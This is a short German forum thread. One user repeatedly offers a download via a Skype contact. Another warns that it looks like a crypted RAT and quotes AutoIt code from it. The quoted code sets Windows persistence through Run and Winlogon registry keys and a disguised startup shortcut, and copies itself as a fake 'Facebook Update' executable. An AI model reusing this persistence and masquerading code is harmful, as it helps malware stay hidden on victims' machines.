Hey,
addet mich einfach in skype : HanzPeter14
Downloadlink ist in meinem skypeprofil
addet mich einfach in skype : HanzPeter14
Downloadlink ist in meinem skypeprofil
Schaut eher nach nem schicken RAT aus, der einigermaßen gecryptet ist...Quote:
[Only registered and activated users can see links. Click Here To Register...]
würde nicht.
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\", "Facebook Update", "REG_EXPAND_SZ", "%APPDATA%\Microsoft\update.exe")
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "Facebook Update", "REG_EXPAND_SZ", "%APPDATA%\Microsoft\update.exe")
RegWrite("HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "shell", "REG_SZ", "%APPDATA%\Microsoft\update.exe" & ",explorer.exe")
FileCreateShortcut("%APPDATA%\Microsoft\update.exe", @StartupDir & "\windows.lnk", "%APPDATA%\Microsoft\", "", "Defender", @SystemDir & "\shell32.dll", "", "4", @SW_MINIMIZE)
FileMove(@ScriptFullPath, @AppDataDir & "\Microsoft\update.exe", 1)